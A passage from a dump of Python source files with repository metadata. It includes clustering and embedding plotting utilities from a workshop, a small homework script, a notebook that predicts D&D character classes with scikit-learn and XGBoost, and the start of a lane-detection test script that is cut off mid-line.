data[vmid].copy()\r\n\r\n    if metrics != 'All':\r\n        data_sample = data_sample.loc[: , data_sample.columns.intersection(metrics)]\r\n\r\n    return(vmid, data_sample)\r\n\r\n\r\n## These function setup some groundwork for easier training\r\n## This function takes python dict where keys represent algorithm parameters\r\n## the element of the list represent lists with parameter values \r\n## eg for t-sne param_dict = {'perplexity':[5,10], 'n_components':[2]}\r\n## the function creates generator with all the combinations of the parameter values  \r\n\r\ndef model_params_product(pram_dict):\r\n    keys = pram_dict.keys()\r\n    vals = pram_dict.values()\r\n    for instance in product(*vals):\r\n        yield dict(zip(keys, instance))\r\n\r\n## This is a function for model tunning \r\n## it takes dataset, model function, hyperparameters, specific to this function \r\n## and whether or not to apply PCA and how many pc to include \r\n## other parameters are model parameters that are constant across all ins\r\n\r\ndef model_train(data, model , param_dict , apply_pca = False, n_pc = None, other_params = {}):\r\n    \r\n    ## Get the data shape \r\n    Nrows, Ncols = data.shape\r\n    model = str(model).upper()\r\n    ## Init the arrays that we will use for modeling\r\n    if isinstance(data, pd.DataFrame):\r\n        data_instance = data.values\r\n    else:\r\n        data_instance = data\r\n\r\n    n_features = [Ncols]\r\n\r\n    ## Check if there should be pca\r\n    ## and if all n_components are integer values \r\n\r\n    if apply_pca:\r\n        if n_pc == None:\r\n            raise Exception('Provide int or list with number of components')\r\n        \r\n        if all([isinstance(x, int) for x in n_pc]):\r\n            max_n_pc = max(n_pc)\r\n            if max_n_pc > Ncols:\r\n                print('The max number of PC({}) is greater than the number of features in the dataset ({}).\\nThe max number of PC has been truncated to {}!\\n'.format(max_n_pc,Ncols, Ncols))\r\n\r\n            n_features = list(sorted(set([x if x <= Ncols else Ncols for x in n_pc ])))\r\n            data_instance = PCA().fit_transform(data)\r\n\r\n        else:\r\n            raise Exception('Values', ', '.join([str(x) for x in  n_pc if not(isinstance(x, int))]), ' are not valid integers')\r\n    \r\n\r\n    models_ph = []\r\n\r\n    i = 0\r\n\r\n    for nfeat in n_features:\r\n        ## Create generator with the hyperparams:\r\n        model_params = model_params_product(param_dict)\r\n\r\n        for model_param in model_params:\r\n            params_for_tunning = model_param.copy()\r\n            model_param.update(other_params)\r\n\r\n            if model == 'DBSCAN':\r\n                running_model = DBSCAN(**model_param).fit_predict(data_instance[:, :nfeat])\r\n            elif model == 'TSNE':\r\n                running_model = TSNE(**model_param).fit_transform(data_instance[:, :nfeat])\r\n            elif model == 'UMAP':\r\n                running_model = umap.UMAP(**model_param).fit_transform(data_instance[:, :nfeat])\r\n\r\n            ## Add the number of PCA Components as additional argument\r\n            if apply_pca:\r\n                model_param['n_pc'] = nfeat\r\n                params_for_tunning['n_pc'] = nfeat\r\n            \r\n            ## Log the progress\r\n            print('Finished iteration ',i,' with parameters:', ', '.join([ k+':'+str(v) for k, v in model_param.items()]))\r\n            i += 1\r\n\r\n            ## Append the tuple of the parameters and the fitted model to list \r\n            models_ph.append((params_for_tunning, running_model, other_params))\r\n    \r\n    print('Training has finished with {} tested combinations.'.format(len(models_ph)))\r\n    \r\n    return(models_ph)   \r\n\r\n## This is a plotting function that will help us visualize the results of our embedding. \r\n## It takes a result tuple (as generated in the function model_train) and plots the first two dimensions of the embedding. \r\n\r\n\r\ndef plot_results(results, leading_param = None, color_array = None, force_categorical = False, point_size = 3):\r\n    \"\"\"\r\n    This is simple plotting fuction that take tuning results object \r\n    and yields plot grid. The grid can be colored by specific variable\r\n    \r\n   results: model results as generated from model_train function \r\n   leading_param: the parameter that will serve for aligning the plots. leading_param is plotted row wise\r\n   color_array: data, by which the plots will be colored. Can be single numpy vector or list of vectors with the same size to the results list \r\n   force_categorical: Should coloring be represented on a categorical scale  \r\n    \"\"\"\r\n\r\n    ## Obtaining all distinct hyperparameters used for tuning:\r\n    tuned_params = list(set(chain.from_iterable([list(r[0].keys()) for r in results])))\r\n    \r\n    ## Check if leading param is in the tuned_params\r\n    lp_in_tuned_params = any([p  == leading_param for p in tuned_params])\r\n\r\n    if leading_param == None or not(lp_in_tuned_params):\r\n        leading_param = tuned_params[0]\r\n        print('No valid leading parameter is given!')\r\n        print('Valid tuned params are:', ', '.join(tuned_params))\r\n        print(leading_param, 'is picked as leading param!')\r\n    \r\n    ## Check if the color variable\r\n    if isinstance(color_array, list):\r\n        if len(color_array) != 1 and len(color_array) != len(results):\r\n            print(len(color_array))\r\n            raise Exception('The length of the color array must be either 1 or equal to the length of the tuning results!')\r\n\r\n    ## Obtain the distinct values of the leading param  \r\n    leading_param_values = [meta[leading_param] for meta, array, _ in results]\r\n    leading_param_values_length = len(leading_param_values)\r\n    ## \r\n    leading_param_distinct_values = sorted(set(leading_param_values))\r\n    leading_param_distinct_values_length = len(leading_param_distinct_values)\r\n\r\n    ## Set the order of the subplots\r\n    subplots_order = [results[k] for _, k in sorted(zip(leading_param_values, range(leading_param_values_length)))]\r\n    orig_index = [k for _, k in sorted(zip(leading_param_values, range(leading_param_values_length)))]\r\n\r\n\r\n    ## Define grid dims\r\n    nrow = int(leading_param_distinct_values_length)\r\n    ncol = int(leading_param_values_length/leading_param_distinct_values_length)\r\n\r\n    ## If there is only 1 variable plot the results on a single row\r\n    if ncol ==1:\r\n        ncol = nrow\r\n        nrow = 1\r\n    \r\n    ## Define plot:\r\n    figsize_width =  (ncol  + 0.5 )* 6\r\n    figsize_height = nrow * 6\r\n\r\n    fig, ax = plt.subplots(nrows = nrow, ncols = ncol, figsize = (figsize_width,figsize_height))\r\n    \r\n    \r\n    ## Init some variables\r\n    color_var = None\r\n\r\n    ## Plot\r\n    for i, result in enumerate(subplots_order):\r\n        meta_info = result[0]\r\n        ylab = leading_param +':'+ str(meta_info[leading_param])\r\n        col_ix = orig_index[i]\r\n        title = ',   '.join([ k+':'+str(v) for k, v in meta_info.items() if k != leading_param])+'('+str(col_ix)+')'\r\n        working_ax = ax.reshape(-1)[i]\r\n        working_ax.set_title(title)\r\n        working_ax.set_ylabel(ylab)\r\n\r\n        ## Check if we should color \r\n        ## Define the color variable \r\n        \r\n        if color_array != None:\r\n            if len(color_array) == len(results):\r\n                color_var  = color_array[col_ix]\r\n            else:\r\n                 color_var = color_array[0]\r\n\r\n            ## Check if the color var is numeric or categorical: \r\n            col_var_numeric = np.issubdtype(np.array(color_var).dtype, np.number)\r\n            if col_var_numeric and not(force_categorical):\r\n                myplt = working_ax.scatter(x = result[1][:,0],y = result[1][:,1], c = color_var,cmap = plt.cm.get_cmap('Spectral'), s = point_size)\r\n                plt.colorbar(myplt, ax = working_ax)\r\n            else:\r\n                ## Define custom color palette:\r\n                color_set_values = list(sorted(set(color_var)))\r\n                color_set_length = len(color_set_values)\r\n                color_set_values_indeces = list(range(color_set_length))\r\n\r\n                color_set_index = dict([(str(v), i) for i, v in enumerate(color_set_values)])\r\n                value_set_index = dict([(str(i), v) for i, v in enumerate(color_set_values)])\r\n                color_var = [color_set_index[str(i)] for i in color_var]\r\n\r\n                ## Apply label formatting:\r\n                formatter = plt.FuncFormatter(lambda x ,loc: value_set_index[x])\r\n\r\n                myplt = working_ax.scatter(x = result[1][:,0] ,y = result[1][:,1], c = color_var,cmap = plt.cm.get_cmap('Spectral', color_set_length), s = point_size)\r\n                plt.colorbar(myplt, ax = working_ax,ticks = color_set_values_indeces) #, format = formatter\r\n        else:\r\n            myplt = working_ax.scatter(x = result[1][:,0] ,y = result[1][:,1], s = point_size)\r\n    fig.show()\r\n\r\n\r\n##########\r\ndef plot_embedding(result, fig_scale = 1, color_var_list = None, force_categorical = False, plot_centers = False, dont_plot_minus_one=True, point_size = 4):\r\n    meta, emb, _ = result\r\n    _, Ncomp = emb.shape\r\n\r\n    plot_title = ', '.join([k+':'+str(v) for k, v in meta.items()])\r\n    w_size, h_size =  (Ncomp-0.4)*6*fig_scale, (Ncomp-1)*6*fig_scale\r\n    subtitle_y = round((Ncomp-1)/Ncomp,3) + (0.12/fig_scale)/Ncomp\r\n\r\n\r\n    fig, ax = plt.subplots(nrows = Ncomp, ncols = Ncomp, figsize = (w_size, h_size), sharex=True, sharey=True)\r\n    \r\n    for i in range(Ncomp):\r\n        for j in range(Ncomp):\r\n            if i<=j:\r\n                fig.delaxes(ax[i][j])\r\n                continue\r\n            \r\n            working_ax = ax[i][j]\r\n\r\n            if color_var_list is not None:\r\n                color_var = color_var_list[0]\r\n                col_var_numeric = np.issubdtype(np.array(color_var).dtype, np.number)\r\n\r\n                if col_var_numeric and not(force_categorical):\r\n                    myplt = working_ax.scatter(x = emb[:,j], y = emb[:,i], c = color_var,cmap = plt.cm.get_cmap('Spectral'), s = point_size)\r\n                    plt.colorbar(myplt, ax = working_ax)\r\n\r\n                else:\r\n                    ## Define custom color palette:\r\n                    color_set_values = list(sorted(set(color_var)))\r\n                    color_set_length = len(color_set_values)\r\n                    color_set_values_indeces = list(range(color_set_length))\r\n\r\n                    color_set_index = dict([(str(v), i) for i, v in enumerate(color_set_values)])\r\n                    value_set_index = dict([(str(i), v) for i, v in enumerate(color_set_values)])\r\n                    color_var = [color_set_index[str(i)] for i in color_var]\r\n                    myplt = working_ax.scatter(x = emb[:,j], y = emb[:,i], c = color_var,cmap = plt.cm.get_cmap('Spectral', color_set_length), s = point_size)\r\n        \r\n                    ## Apply label formatting:\r\n                    formatter = plt.FuncFormatter(lambda x ,loc: value_set_index[str(x)])\r\n\r\n\r\n                    plt.colorbar(myplt, ax = working_ax, ticks = color_set_values_indeces, format = formatter) #\r\n\r\n                    ## Plot cluster centers: \r\n                    if plot_centers:\r\n                        ## Create ph for the calculated centers\r\n                        calc_centers = []\r\n                        for ctr in np.sort(np.unique(color_var)):\r\n                            arr_ix = np.where(color_var == ctr)                      \r\n                            str_label = value_set_index[str(ctr)]\r\n                            if dont_plot_minus_one and str(str_label) == '-1':\r\n                                continue \r\n\r\n                            running_mean = np.mean(emb[arr_ix, :], axis  = 1, keepdims=False)[0]\r\n                            \r\n                            calc_centers.append(running_mean)\r\n                            working_ax.text(running_mean[j], running_mean[i], str_label\r\n                                        ,   bbox=dict(boxstyle=\"square\",\r\n                                            ec=(1., 0.5, 0.5),\r\n                                            fc=(1., 0.8, 0.8),\r\n                                            ))\r\n                            \r\n            else:\r\n                working_ax.scatter(emb[:,j], emb[:,i], s = point_size)\r\n\r\n            working_ax.set_xlabel('Component '+str(i+1))\r\n            working_ax.set_ylabel('Component '+str(j+1))\r\n    fig.tight_layout()\r\n    #fig.suptitle()\r\n    fig.suptitle(plot_title, y = subtitle_y, x = 0.05,horizontalalignment = 'left')\r\n    plt.show()\r\n    ", "meta": {"hexsha": "88ad06902708f045a858be178db53b8ad6303ff3", "size": 15710, "ext": "py", "lang": "Python", "max_stars_repo_path": "workshop_utilities.py", "max_stars_repo_name": "amld-vmware/AMLD_2020", "max_stars_repo_head_hexsha": "55459359e832ed02e262fab7da66ed066fe68fb9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 3, "max_stars_repo_stars_event_min_datetime": "2020-01-23T20:30:56.000Z", "max_stars_repo_stars_event_max_datetime": "2020-10-06T10:38:57.000Z", "max_issues_repo_path": "workshop_utilities.py", "max_issues_repo_name": "dimirapetrova/AMLD_2020", "max_issues_repo_head_hexsha": "8b0bd9e2eae3e6ee3445093d55e535801eb6e85e", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2020-02-03T09:46:48.000Z", "max_issues_repo_issues_event_max_datetime": "2020-02-03T09:46:48.000Z", "max_forks_repo_path": "workshop_utilities.py", "max_forks_repo_name": "dimirapetrova/AMLD_2020", "max_forks_repo_head_hexsha": "8b0bd9e2eae3e6ee3445093d55e535801eb6e85e", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 2, "max_forks_repo_forks_event_min_datetime": "2020-01-26T12:55:04.000Z", "max_forks_repo_forks_event_max_datetime": "2020-01-27T15:09:16.000Z", "avg_line_length": 40.8051948052, "max_line_length": 190, "alphanum_fraction": 0.6038828771, "include": true, "reason": "import numpy", "num_tokens": 3592, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.38491214448393357, "lm_q2_score": 0.13660840232900245, "lm_q1q2_score": 0.05258223309498032}}
{"text": "import numpy as np       #the numpy library\r\nimport matplotlib.pyplot as plt     #tMatplotlib's pyplot\r\n\r\nimport sys    #gives access to a C-like sys lybrary\r\nimport os     #gives access to operating sys\r\n\r\nprint(sys.argv)   #prints any command line arguments, incl program name\r\nprint(os.getcwd()) #prints the current working directory", "meta": {"hexsha": "c58a09b9a9ece09fa6bdb572e5e99b14fe04e3cb", "size": 336, "ext": "py", "lang": "Python", "max_stars_repo_path": "useful_modules.py", "max_stars_repo_name": "bengrenier/astr-119-hw-1", "max_stars_repo_head_hexsha": "fe9c1068c72ffc9daab6fc9baec07d2da5aa4b54", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "useful_modules.py", "max_issues_repo_name": "bengrenier/astr-119-hw-1", "max_issues_repo_head_hexsha": "fe9c1068c72ffc9daab6fc9baec07d2da5aa4b54", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2018-10-09T23:34:00.000Z", "max_issues_repo_issues_event_max_datetime": "2018-10-09T23:34:00.000Z", "max_forks_repo_path": "useful_modules.py", "max_forks_repo_name": "bengrenier/HW_Due_10-11", "max_forks_repo_head_hexsha": "fe9c1068c72ffc9daab6fc9baec07d2da5aa4b54", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 42.0, "max_line_length": 72, "alphanum_fraction": 0.7351190476, "include": true, "reason": "import numpy", "num_tokens": 76, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.38491214448393357, "lm_q2_score": 0.136608397056381, "lm_q1q2_score": 0.05258223106548429}}
{"text": "# To add a new cell, type '#%%'\n# To add a new markdown cell, type '#%% [markdown]'\n#%% Change working directory from the workspace root to the ipynb file location. Turn this addition off with the DataScience.changeDirOnImportExport setting\n# ms-python.python added\nimport os\ntry:\n\tos.chdir(os.path.join(os.getcwd(), 'notebooks'))\n\tprint(os.getcwd())\nexcept:\n\tpass\n#%%\nfrom IPython import get_ipython\n\n#%% [markdown]\n# <a href=\"https://colab.research.google.com/github/KyleHaggin/DnD-class-predictor/blob/master/Models_and_Work.ipynb\" target=\"_parent\"><img src=\"https://colab.research.google.com/assets/colab-badge.svg\" alt=\"Open In Colab\"/></a>\n#%% [markdown]\n# Lambda School Data Science, Unit 2: Predictive Modeling\n# \n# # Applied Modeling, Module 2\n# \n# You will use your portfolio project dataset for all assignments this sprint.\n# \n# ## Assignment\n# \n# Complete these tasks for your project, and document your work.\n# \n# - [ ] Plot the distribution of your target. \n#     - Classification problem: Are your classes imbalanced? Then, don't use just accuracy.\n#     - Regression problem: Is your target skewed? If so, let's discuss in Slack.\n# - [ ] Continue to clean and explore your data. Make exploratory visualizations.\n# - [ ] Fit a model. Does it beat your baseline?\n# - [ ] Try xgboost.\n# - [ ] Get your model's permutation importances.\n# \n# You should try to complete an initial model today, because the rest of the week, we're making model interpretation visualizations.\n# \n# \n# ## Reading\n# \n# Top recommendations in _**bold italic:**_\n# \n# #### Permutation Importances\n# - _**[Kaggle / Dan Becker: Machine Learning Explainability](https://www.kaggle.com/dansbecker/permutation-importance)**_\n# - [Christoph Molnar: Interpretable Machine Learning](https://christophm.github.io/interpretable-ml-book/feature-importance.html)\n# \n# #### (Default) Feature Importances\n#   - [Ando Saabas: Selecting good features, Part 3, Random Forests](https://blog.datadive.net/selecting-good-features-part-iii-random-forests/)\n#   - [Terence Parr, et al: Beware Default Random Forest Importances](https://explained.ai/rf-importance/index.html)\n# \n# #### Gradient Boosting\n#   - [A Gentle Introduction to the Gradient Boosting Algorithm for Machine Learning](https://machinelearningmastery.com/gentle-introduction-gradient-boosting-algorithm-machine-learning/)\n#   - _**[A Kaggle Master Explains Gradient Boosting](http://blog.kaggle.com/2017/01/23/a-kaggle-master-explains-gradient-boosting/)**_\n#   - [_An Introduction to Statistical Learning_](http://www-bcf.usc.edu/~gareth/ISL/ISLR%20Seventh%20Printing.pdf) Chapter 8\n#   - [Gradient Boosting Explained](http://arogozhnikov.github.io/2016/06/24/gradient_boosting_explained.html)\n#   - _**[Boosting](https://www.youtube.com/watch?v=GM3CDQfQ4sw) (2.5 minute video)**_\n\n#%%\nimport os, sys\nin_colab = 'google.colab' in sys.modules\n\n# If you're in Colab...\nif in_colab:\n    # Pull files from Github repo\n    os.chdir('/content')\n    get_ipython().system('git init .')\n    get_ipython().system('git remote add origin https://github.com/LambdaSchool/DS-Unit-2-Applied-Modeling.git')\n    get_ipython().system('git pull origin master')\n    # Install packages in Colab\n    get_ipython().system('pip install category_encoders==2.0.0')\n    get_ipython().system('pip install eli5==0.10.1')\n    get_ipython().system('pip install pandas-profiling==2.3.0')\n    get_ipython().system('pip install pdpbox==0.2.0')\n    get_ipython().system('pip install plotly==4.1.1')\n    get_ipython().system('pip install shap==0.30.0')\n    \n    # Install required python packages\n    get_ipython().system('pip install -r requirements.txt')\n    \n    # Change into directory for module\n    os.chdir('module2')\n\n\n#%%\n# import important libraries\nimport numpy as np\nimport pandas as pd\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.model_selection import train_test_split\nimport category_encoders as ce \nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.impute import SimpleImputer\nfrom sklearn.pipeline import make_pipeline\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.metrics import confusion_matrix\nfrom xgboost import XGBClassifier\nfrom sklearn.metrics import roc_auc_score\nimport eli5\nfrom eli5.sklearn import PermutationImportance\n\n\n#%%\n# import the dataset\ndf = pd.read_csv('https://raw.githubusercontent.com/oganm/dndstats/master/docs/uniqueTable.tsv',\n                 sep='\\t')\n\n\n#%%\n# double check the import worked correctly\ndf.head()\n\n\n#%%\n# create a has spells feature\n\n# create a function that returns true if there is a spell or false if there is not\ndef check_spells(item):\n  # check if the value is a float. This works because np.nan is a float value and the value will be a string if there are spells\n  if isinstance(item, float):\n    # if nan is found return false (no spells)\n    return False\n  else:\n    # else return true (spell found)\n    return True\n\n# apply the function to the dataframe\ndf['has_spells'] = df['processedSpells'].apply(check_spells)\n\n\n#%%\ndf.head()\n\n\n#%%\n# create a has feat feature\n\n# create a function that returns true if it has a feat and false if there is not\ndef check_feats(item):\n  if isinstance(item, float):\n    return False\n  else:\n    return True\n\n# apply the function to the dataframe\ndf['has_feats'] = df['feats'].apply(check_feats)\n\n\n#%%\n# create a HP per level feature\ndf['HP_per_level'] = df['HP'] / df['level']\n\n\n#%%\ndf.head()\n\n\n#%%\n# drop uneeded columns due to high randomness or high variance\ndrop_columns_variance = ['name', 'date', 'day']\ndf = df.drop(columns = drop_columns_variance)\n\n# drop columns due to leakage\ndrop_columns_leak = ['subclass', 'class']\ndf = df.drop(columns = drop_columns_leak)\n\n# drop columns due to duplication\ndrop_columns_dup = ['race']\ndf = df.drop(columns = drop_columns_dup)\n\n# check the head\ndf.head()\n\n\n#%%\ndf['justClass'].value_counts()\n\n\n#%%\n# get our target\ntarget = 'justClass'\ntargetAllowed = ['Fighter', 'Rogue', 'Cleric', 'Barbarian', 'Paladin', 'Ranger', 'Sorcerer', 'Wizard', 'Monk', 'Druid', 'Bard', 'Warlock']\n\n\n#%%\n# df = df[df[target] targetAllowed]\ndf = df.loc[df[target].isin(targetAllowed)]\n\n\n#%%\ndf['justClass'].value_counts()\n\n\n#%%\n# get our features\ntrain_features = df.drop(columns=target)\nnumeric_features = train_features.select_dtypes(include='number').columns.tolist()\ncardinality = train_features.select_dtypes(exclude='number').nunique()\ncategorical_features = cardinality[cardinality <= 75].index.tolist()\nfeatures = numeric_features + categorical_features\n\n\n#%%\nfeatures\n\n\n#%%\n# majority class check\nmajority_class = df[target].mode()\nprint('Majority class is', majority_class)\ny_pred = [majority_class] * len(df)\naccuracy_score(df[target], y_pred)\n\n\n#%%\n# train test split the data (80/20)\ntrain, val = train_test_split(df, train_size=0.80, test_size=.20,\n                               stratify=df[target], random_state=42)\n\n\n#%%\nX_train = train[features]\ny_train = train[target]\nX_val = val[features]\ny_val = val[target]\n\n\n#%%\n# fit a pipeline (Decision Tree)\npipelineTree = make_pipeline(\n    ce.OneHotEncoder(use_cat_names=True),\n    SimpleImputer(strategy='mean'),\n    StandardScaler(),\n    DecisionTreeClassifier(max_depth=3)\n)\n\npipelineTree.fit(X_train, y_train)\n\n\n#%%\n# validation accuracy (Decision Tree)\ny_pred_tree = pipelineTree.predict(X_val)\nprint('Validation Accuracy', accuracy_score(y_val, y_pred_tree))\n\n\n#%%\ny_pred_tree\n\n\n#%%\n# fit a pipeline (Random Forest)\npipelineForest = make_pipeline(\n    ce.OneHotEncoder(use_cat_names=True),\n    SimpleImputer(strategy='mean'),\n    StandardScaler(),\n    RandomForestClassifier(n_estimators=50, random_state=42, n_jobs=-1)\n)\n\npipelineForest.fit(X_train, y_train)\n\n\n#%%\ny_pred_forest = pipelineForest.predict(X_val)\nprint('Validation Accuracy', accuracy_score(y_val, y_pred_forest))\n\n\n#%%\ny_pred_forest\n\n\n#%%\ntransformers = make_pipeline(\n    ce.OneHotEncoder(use_cat_names=True),\n    SimpleImputer(strategy='mean'),\n    StandardScaler()\n)\n\n# tranform the data\nX_train_transformed = transformers.fit_transform(X_train)\nX_val_transformed = transformers.transform(X_val)\n\neval_set = [(X_train_transformed, y_train),\n            (X_val_transformed, y_val)]\n\n\n#%%\n# model = RandomForestClassifier(n_estimators=50, random_state=42, n_jobs=-1)\n# model.fit(X_train_transformed, y_train)\n\n\n#%%\n\n\n\n#%%\nmodel = XGBClassifier(n_estimators=1000, n_jobs=-1)\nmodel.fit(X_train_transformed, y_train, eval_set=eval_set, early_stopping_rounds=10)\n\n\n#%%\n# Validation accuracy\ny_pred = model.predict(X_val_transformed)\nprint('Validation Accuracy', accuracy_score(y_val, y_pred))\n\n\n#%%\ny_pred\n\n\n#%%\n# permuter = PermutationImportance(\n#     model, \n#     scoring='accuracy',\n#     n_iter=3,\n#     random_state=42\n# )\n\n# permuter.fit(X_val_transformed, y_val)\n# feature_names = X_val.columns.tolist()\n\n# eli5.show_weights(\n#     permuter,\n#     top=None, # show importance of all features\n#     feature_names=feature_names\n# )\n\n\n#%%\n# the row to anaylze in the shaply plot\n# change the number in row to find the shaply value\nrow = 25\nrow = X_train.iloc[[row]]\n\n\n#%%\n# import shap\n\n# explainer = shap.TreeExplainer(model)\n# row_processed = transformers.transform(row)\n# shap_values = explainer.shap_values(row_processed)\n\n# shap.initjs()\n# shap.force_plot(\n#     base_value=explainer.expected_value,\n#     shap_values=shap_values,\n#     features=row\n# )\n\n\n#%%\n\n\n\n#%%\n\n\n\n", "meta": {"hexsha": "3ae22b567fe7527a95e09818baf0dce08cb6b9c9", "size": 9433, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/Colab notebook.py", "max_stars_repo_name": "KyleHaggin/DnD-class-predictor", "max_stars_repo_head_hexsha": "f660614ac795c144904f7725ce0afcdf18ad7c52", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "notebooks/Colab notebook.py", "max_issues_repo_name": "KyleHaggin/DnD-class-predictor", "max_issues_repo_head_hexsha": "f660614ac795c144904f7725ce0afcdf18ad7c52", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "notebooks/Colab notebook.py", "max_forks_repo_name": "KyleHaggin/DnD-class-predictor", "max_forks_repo_head_hexsha": "f660614ac795c144904f7725ce0afcdf18ad7c52", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.4229691877, "max_line_length": 228, "alphanum_fraction": 0.7263860914, "include": true, "reason": "import numpy", "num_tokens": 2434, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3849121303722487, "lm_q2_score": 0.13660839529884056, "lm_q1q2_score": 0.052582228461211}}
{"text": "\"\"\"\r\n\u6e2c\u8a66\u81ea\u5df1\u7684\u8cc7\u6599\u96c6\uff0c\u4e26\u5b58\u6210\u6aa2\u6e2c\u7d50\u679c\u5716\r\n\"\"\"\r\n\r\n\r\nimport torch, os, cv2\r\nfrom model.model import parsingNet\r\nfrom utils.common import merge_config\r\nfrom utils.dist_utils import dist_print\r\nimport torch\r\nimport scipy.special, tqdm\r\nimport numpy as np\r\nimport torchvision.transforms as transforms\r\nfrom data.dataset import LaneTestDataset\r\nfrom data.constant import culane_row_anchor, tusimple_row_anchor\r\n\r\n# \u6307\u5b9a\u6e2c\u8a66\u7684\u914d\u7f6e\u8a0a\u606f\r\nbackbone = \"18\" # \u9aa8\u5e79\u7db2\u8def\r\ndataset = \"11\" # \u8cc7\u6599\u96c6\u985e\u578b\r\ngriding_num = 100 # \u7db2\u683c\u6578\r\n# test_model = \"tusimple_18.pth\" # \u9810\u8a13\u7df4\u6a21\u578b\u8def\u5f91 tusimple_18.pth\r\ntest_model = \"\u653e\u5165\u6b32\u8a13\u7df4\u6a21\u578b\uff0c\u81ea\u8a13\u7df4or\u9810\u8a13\u7df4\"\r\n# data_root = \"\" # \u958b\u6e90\u8cc7\u6599\u96c6\u6e2c\u8a66\u8def\u5f91\r\ndata_root = \"\u81ea\u5b9a\u7fa9\u6e2c\u8a66\u8def\u5f91\" # \u81ea\u5b9a\u7fa9\u6e2c\u8a66\u8def\u5f91\r\ndata_save = \"\u4fdd\u5b58\u6aa2\u6e2c\u7d50\u679c\" # \u4fdd\u5b58\u6aa2\u6e2c\u7d50\u679c\r\n\r\n\r\n\r\nfrom PIL import Image\r\nimport os\r\nimport numpy as np\r\nimport glob\r\n\r\n\r\n\r\ndef loader_func(path):\r\n    return Image.open(path)\r\n\r\n\r\nclass TestDataset(torch.utils.data.Dataset):\r\n    def __init__(self, path, img_transform = None):\r\n        super(TestDataset, self).__init__()\r\n        self.path = path\r\n        self.ing_transform = img_transform\r\n        # self.list: \u5132\u5b58\u6e2c\u8a66\u5716\u7247\u7684\u76f8\u5c0d\u8def\u5f91\r\n\r\n    def __getitem__(self, index):\r\n        name = glob.glob('%s/*.jpg'%self.path)[index]\r\n        img = loader_func(name)\r\n\r\n        if self.img_transform is not None:\r\n            img = self.img_transform(img)\r\n        return img, name\r\n\r\n    def __len__(self):\r\n        return len(self.list)\r\n\r\nif __name__ == \"__main__\":\r\n    torch.backends.cudnn.benchmark = True # \u52a0\u901f\r\n\r\n    # args, cfg = merge_config() # \u7528\u7d42\u7aef\u6a5f\u6307\u5b9a\u914d\u7f6e\u8a0a\u606f\r\n    dist_print('start testing...')\r\n    assert backbone in ['18','34','50','101','152','50next','101next','50wide','101wide']\r\n\r\n    if dataset == 'CULane':\r\n        cls_num_per_lane = 18\r\n    elif dataset == 'Tusimple':\r\n        cls_num_per_lane = 56\r\n    else:\r\n    #     raise NotImplementedError\r\n        cls_num_per_lane = 56\r\n\r\n    net = parsingNet(pretrained = False, backbone=backbone, cls_dim = (griding_num+1, cls_num_per_lane, 4),\r\n                    use_aux=False).cuda() # we dont need auxiliary segmentation in testing\r\n\r\n    state_dict = torch.load(test_model, map_location='cpu')['model']\r\n    compatible_state_dict = {}\r\n    for k, v in state_dict.items():\r\n        if 'module.' in k:\r\n            compatible_state_dict[k[7:]] = v\r\n        else:\r\n            compatible_state_dict[k] = v\r\n\r\n    net.load_state_dict(compatible_state_dict, strict=False)\r\n    net.eval()\r\n    # \u5716\u50cf\u683c\u5f0f\u7d71\u4e00: (288, 800), \u5716\u50cf\u5f35\u91cf, \u6b78\u4e00\u5316(\u6a19\u6e96\u5316?)\r\n    img_transforms = transforms.Compose([\r\n        transforms.Resize((288, 800)),\r\n        transforms.ToTensor(),\r\n        transforms.Normalize((0.485, 0.456, 0.406), (0.229, 0.224, 0.225)),\r\n    ])\r\n    if dataset == 'CULane':\r\n        splits = ['test0_normal.txt', 'test1_crowd.txt', 'test2_hlight.txt', 'test3_shadow.txt', 'test4_noline.txt', 'test5_arrow.txt', 'test6_curve.txt', 'test7_cross.txt', 'test8_night.txt']\r\n        datasets = [LaneTestDataset(data_root, os.path.join(data_root, 'list/test_split/'+split),img_transform = img_transforms) for split in splits]\r\n        \r\n        img_w, img_h = 1640, 590\r\n        row_anchor = culane_row_anchor\r\n    elif dataset == 'Tusimple':\r\n        splits = ['test.txt']\r\n        datasets = [LaneTestDataset(data_root,os.path.join(data_root, split),img_transform = img_transforms) for split in splits]\r\n        img_w, img_h = 1280, 720\r\n        row_anchor = tusimple_row_anchor\r\n    else: # \u81ea\u5b9a\u7fa9\u8cc7\u6599\u96c6\r\n        # raise NotImplementedError\r\n        datasets = TestDataset(data_root, img_transform = img_transforms)\r\n        img_w, img_h = 1280, 720\r\n        row_anchor = tusimple_row_anchor\r\n\r\n    for dataset in zip(datasets): # split: \u5716\u7247\u5217\u8868 datasets: \u7d71\u4e00\u683c\u5f0f\u4e4b\u5f8c\u7684\u8cc7\u6599\u96c6\r\n        loader = torch.utils.data.DataLoader(dataset, batch_size = 1, shuffle = False, num_workers = 1) # \u8f09\u5165\u8cc7\u6599\u96c6\r\n        # fourcc = cv2.VideoWriter_fourcc(*\"MJPG\")\r\n        # print(split[:-3] + 